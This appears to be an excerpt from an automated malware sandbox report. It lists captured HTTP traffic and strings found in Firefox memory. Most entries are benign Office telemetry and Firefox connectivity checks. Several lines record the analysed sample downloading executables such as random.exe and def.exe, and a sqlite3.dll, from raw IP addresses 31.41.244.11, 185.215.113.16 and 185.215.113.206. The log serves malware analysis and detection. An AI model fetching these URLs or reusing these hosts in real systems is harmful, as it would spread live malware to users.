Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MSCC=NR; MC1=GUID=351d15a7563e471ea2f7c74e27470cdd&HASH=351d&LV=202411&V=4&LU=1732245286756; MS0=d1cd7107ccbe4df7a7d3a1e54bef357a
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11If-Modified-Since: Fri, 22 Nov 2024 01:05:29 GMTIf-None-Match: "673fd8d9-42b200"
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: RestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| 'www.' \|\| :strippedURL AND :prefix \|\| 'www.' \|\| :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=$locale&region=$region&count=30https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_offUpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application version equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://web-assets.toggl.com/app/assets/scripts/.jsresource://gre/modules/addons/XPIProvider.jsm://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://connect.facebook.net//all.js@mozilla.org/network/atomic-file-output-stream;1://www.google-analytics.com/analytics.js*://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js://www.google-analytics.com/plugins/ua/ec.js://.moatads.com//moatheader.js*://cdn.adsafeprotected.com/iasPET.1.js://.vidible.tv//vidible-min.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js*://cdn.optimizely.com/public/.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js*://s.webtrends.com/js/webtrends.min.jsTelemetrySession::onEnvironmentChange equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://pubads.g.doubleclick.net/gampad/xml_vmap1://ads.stickyadstv.com/user-matching://pubads.g.doubleclick.net/gampad/xml_vmap2https://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com/jsvid?--autocomplete-popup-separator-color://securepubads.g.doubleclick.net/gampad/ad://.adsafeprotected.com/jload?*://pubads.g.doubleclick.net/gampad/adaddons-search-detection@mozilla.comresource://builtin-addons/search-detection/addons-search-detection%40mozilla.com:2.0.0resource://search-extensions/google/amazondotcom%40search.mozilla.org:1.6wikipedia%40search.mozilla.org:1.3resource://search-extensions/bing/firefox-compact-light@mozilla.orgfirefox-compact-light%40mozilla.org:1.2resource://builtin-themes/alpenglow/https://en.wikipedia.org/wiki/Special:Searchresource://search-extensions/amazondotcom/firefox-alpenglow%40mozilla.org:1.4resource://search-extensions/ddg/resource://gre/modules/E10SUtils.sys.mjsresource://gre/modules/ExtensionDNR.sys.mjsresource://gre/modules/ExtensionDNRStore.sys.mjsresource://search-extensions/wikipedia/resource://gre/modules/AsyncShutdown.sys.mjsfirefox-compact-dark%40mozilla.org:1.28# equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3034234887.00000177EE620000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
